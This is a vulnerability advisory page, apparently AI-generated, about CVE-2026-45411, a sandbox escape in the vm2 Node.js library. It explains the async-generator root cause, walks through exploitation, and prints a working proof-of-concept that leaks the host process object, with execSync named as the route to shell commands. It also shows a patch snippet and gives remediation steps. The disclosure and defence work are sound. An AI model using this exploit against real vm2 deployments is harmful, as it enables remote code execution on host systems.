CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-45411
9.80.05%

CVE-2026-45411: Remote Code Execution via Sandbox Escape in vm2 Async Generator Implementation

Amit Schendel
Amit Schendel
Senior Security Researcher

May 14, 2026·8 min read·6 visits

PoC Available

Executive Summary (TL;DR)

A critical vulnerability in vm2 (CVE-2026-45411, CVSS 9.8) allows sandbox escape and host RCE via V8 engine async generator handling. Versions prior to 3.11.3 are affected.

CVE-2026-45411 is a critical sandbox breakout vulnerability in the vm2 library for Node.js, allowing attackers to achieve remote code execution on the host system. The flaw stems from an inconsistency in how the V8 JavaScript engine handles async generators during delegation and abrupt completions, enabling an attacker to smuggle a host-realm error object into the sandbox.

Vulnerability Overview

The vm2 library serves as a widely used sandboxing mechanism for Node.js environments, designed to run untrusted code in a restricted context. CVE-2026-45411 represents a critical sandbox breakout vulnerability affecting all versions of vm2 prior to 3.11.3. This vulnerability allows an attacker to execute arbitrary code on the underlying host operating system with the privileges of the Node.js process.

The vulnerability is classified under CWE-668 (Exposure of Resource to Wrong Sphere) and CWE-913 (Improper Control of Dynamically-Managed Code Resources). The core issue resides in the interaction between the V8 JavaScript engine's internal implementation of async generators and the sandbox's exception handling mechanisms. When processing untrusted JavaScript, vm2 relies on a source-code transformer to wrap exception handling logic and sanitize objects passing across the sandbox boundary.

An attacker bypasses these protective mechanisms by triggering a highly specific execution state within V8's native C++ routines. This state prevents the vm2 source-code transformer from wrapping the resulting exception in a sandbox-safe catch block. The absence of this wrapping allows an unsanitized host-realm object to leak directly into the sandboxed execution context.

The resulting impact is complete compromise of the sandbox boundary. An attacker obtaining a host-realm object can traverse prototype chains to access the host's Function constructor. This constructor provides the ability to evaluate arbitrary JavaScript code in the context of the host, bypassing all vm2 restrictions and achieving unauthenticated remote code execution.

Root Cause Analysis

The root cause of CVE-2026-45411 involves the specification-mandated behavior of the V8 JavaScript engine regarding async generators and abrupt completions. When an async generator uses the yield* operator to delegate to an inner iterator, and that inner iterator lacks a .return() method, calling .return(value) on the outer generator forces the engine to perform an Await(value) operation. This behavior is defined in the ECMAScript specification and is implemented natively in V8.

V8 executes this Await operation via its internal C++ function PromiseResolveThenableJob. If the provided value is a thenable object (possessing a .then() method), V8 invokes this method natively. If the .then() method throws a synchronous exception during this native invocation, the V8 engine catches the exception internally in C++ and packages it into an iterator result object formatted as { value: thrownError, done: false }.

This specific sequence creates two distinct evasion paths against the vm2 security model. First, the exception is caught implicitly by the native V8 C++ logic rather than a user-space JavaScript catch block. Because vm2 relies on transforming source code to inject handleException wrappers around try/catch blocks, the implicit native catch executes entirely outside the scope of the transformer.

Second, the native Await mechanism utilizes the internal PerformPromiseThen abstract operation. This native operation bypasses any user-space overrides of Promise.prototype.then. While vm2 normally overrides Promise.prototype.then to intercept and sanitize promise rejections, the engine's use of PerformPromiseThen ensures the operation occurs without triggering the sandbox's rejection sanitization logic.

Exploitation Methodology

To exploit this vulnerability, an attacker must smuggle a host-realm error object across the boundary into the restricted sandbox context. The process begins by constructing a recursive function designed to intentionally exceed the maximum call stack size and trigger a RangeError. The attacker executes a binary search to find the precise recursion depth required to trigger the stack overflow exactly when execution enters the host's native PromiseResolveThenableJob routine.

Because the stack overflow occurs within host-side C++ code, the resulting RangeError originates in the host realm rather than the sandbox realm. This error object inherently carries a reference to the host's core prototypes, including the host's Function constructor. The asynchronous generator delegation flaw described in the root cause analysis guarantees that this error object is delivered back to the sandboxed code wrapped in an iterator result.

Once the host-realm RangeError object enters the sandbox, the attacker retrieves it from the iterator result. The attacker accesses the host's Function constructor using the prototype chain access pattern e.constructor.constructor. This bypasses the proxy mechanisms vm2 uses to separate host and sandbox prototype chains.

The final stage of the exploit utilizes the host Function constructor to instantiate a new function that returns the global Node.js process object. The payload executes e.constructor.constructor('return process')() to capture the process reference. With the process object obtained, the attacker calls process.mainModule.require('child_process').execSync() to execute arbitrary shell commands on the underlying operating system.

// Proof of Concept (PoC) for CVE-2026-45411
(async () => {
  class E extends Error {}
  function so(d) {
    if (d > 0) so(d - 1);
    const e = new E();
    e.stack;
    throw e;
  }
 
  async function* helper() {
    yield* {
      [Symbol.asyncIterator]: () => ({
        next: v => ({ value: v, done: false }),
      }),
    };
  }
 
  async function doCatch(f) {
    const i = helper();
    await i.next();
    const v = await i.return({ 
      then(r) { f(); r(); } 
    });
    return v.value;
  }
 
  let min = 0, max = 10000000;
  while (min < max) {
    const mid = (min + max) >> 1;
    const e = await doCatch(() => so(mid));
    if (e.name === 'RangeError' && !(e instanceof RangeError)) {
      const hostProcess = e.constructor.constructor('return process')();
      console.log('Host Node Version:', hostProcess.version);
      return;
    }
    if (e instanceof E) min = mid + 1; else max = mid;
  }
})();

Impact Assessment

The security impact of CVE-2026-45411 is severe, resulting in unauthenticated remote code execution on any system running a vulnerable version of vm2 that executes untrusted input. The CVSS v3.1 base score is calculated at 9.8, reflecting the maximum possible impact across confidentiality, integrity, and availability metrics. The attack requires low complexity and no privileges.

When a sandbox escape occurs, the attacker inherits the execution context and permissions of the Node.js process hosting the vm2 instance. This grants the attacker read and write access to the host filesystem, the ability to initiate outbound network connections, and access to any environment variables or credentials loaded into the Node.js process memory. The attack vector is strictly bounded by the host operating system's process isolation mechanisms.

Despite the critical severity, the current EPSS score is 0.00054, placing it in the 17.01th percentile for exploitation probability in the next 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the public availability of a reliable proof-of-concept exploit necessitates immediate patching for any environment relying on vm2 for security boundaries.

Code Analysis and Patch Walkthrough

The mitigation for CVE-2026-45411 was implemented in vm2 version 3.11.3. The patch introduces a multi-layered defense mechanism within lib/setup-sandbox.js to address both the generator isolation failures and the thenable object parsing issues. The primary objective of the patch is to ensure that all values exiting an asynchronous generator are strictly routed through the sandbox's exception handling logic.

The first component of the fix involves wrapping the %AsyncGeneratorPrototype% methods, specifically next, return, and throw. By intercepting these methods, the sandbox guarantees that any asynchronous iteration resulting in an exception triggers the handleException function before the value reaches the user-controlled code. This resolves the implicit native catch bypass caused by V8's internal C++ logic.

The second component addresses the thenable argument smuggling. The patch implements a sanitizeThenableArg function that intercepts arguments passed to the generator's .return() method. This function replaces the user-provided thenable with a sandbox-realm wrapper containing a safeThen function. This prevents the native PerformPromiseThen operation from accessing the underlying thenable directly.

The safeThen implementation carefully prevents Time-of-Check to Time-of-Use (TOCTOU) attacks by reading the .then property exactly once. If a synchronous throw occurs during this read, the exception is caught and sanitized via safeSanitize. Furthermore, the function always resolves using a shadow object lacking a prototype (makeNonThenableShadow) to ensure the sandbox cannot traverse the prototype chain of the resolution value.

// Snippet from vm2 version 3.11.3 patch (lib/setup-sandbox.js)
function sanitizeThenableArg(value) {
    if (value === null || (typeof value !== 'object' && typeof value !== 'function')) return value;
    return {
        then: function safeThen(resolve, reject) {
            let userThen;
            try {
                userThen = value.then; // Read exactly once to prevent TOCTOU
            } catch (e) {
                if (typeof reject === 'function') return reject(safeSanitize(e));
                throw safeSanitize(e);
            }
            if (typeof userThen !== 'function') {
                // Ensure resolution with a safe shadow object
                if (typeof resolve === 'function') resolve(makeNonThenableShadow(value));
                return;
            }
            // Code continues to safely wrap resolve/reject callbacks
        }
    };
}

Remediation and Mitigation Strategy

The primary and most effective remediation for CVE-2026-45411 is to upgrade the vm2 package to version 3.11.3 or higher. This update directly patches the vulnerabilities in the prototype interception logic and async generator handling mechanisms. Developers must verify their package lockfiles to ensure that transitive dependencies relying on vm2 are also updated to the secure version.

In environments where immediate patching is not technically feasible, there are no effective configuration-based workarounds within the vm2 library itself to prevent this escape. The exploit manipulates core JavaScript engine mechanics that cannot be disabled via vm2 initialization options. Therefore, the untrusted input stream reaching the vm2 instance must be paused or severely restricted until the patch can be deployed.

As a defense-in-depth strategy, organizations executing untrusted code should implement secondary isolation boundaries. Running the Node.js process within a restricted Docker container, applying strict seccomp profiles, and utilizing unprivileged system users limits the blast radius of a successful sandbox escape. These OS-level controls do not prevent the vm2 escape, but they prevent the attacker from fully compromising the underlying host infrastructure.

Official Patches

patriksimekOfficial fix commit implementing isolation logic in lib/setup-sandbox.js

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.05%
Top 83% most exploited

Affected Systems

Node.js environments utilizing vm2 versions < 3.11.3 for untrusted code execution

Affected Versions Detail

Product
Affected Versions
Fixed Version
vm2
patriksimek
< 3.11.33.11.3
AttributeDetail
Vulnerability ClassSandbox Breakout / Escape
CWE IDsCWE-668, CWE-913
CVSS v3.1 Base Score9.8
Attack VectorNetwork
Exploit StatusProof of Concept Available
EPSS Percentile17.01%
CISA KEV ListedNo

MITRE ATT&CK Mapping

T1005Data from Local System
Collection
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-668
Exposure of Resource to Wrong Sphere

Exposure of Resource to Wrong Sphere and Improper Control of Dynamically-Managed Code Resources

Known Exploits & Detection

GitHub Security AdvisoryPublic disclosure containing the proof-of-concept for the RangeError stack overflow escape.

Vulnerability Timeline

Official fix commit published by the package author
2026-05-11
CVE-2026-45411 published to the NVD and CVE.org
2026-05-13
GHSA-248r-7h7q-cr24 published to GitHub Advisory Database
2026-05-13

References & Sources

  • [1]GitHub Advisory: GHSA-248r-7h7q-cr24
  • [2]NVD Vulnerability Detail: CVE-2026-45411
  • [3]CVE Record: CVE-2026-45411

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.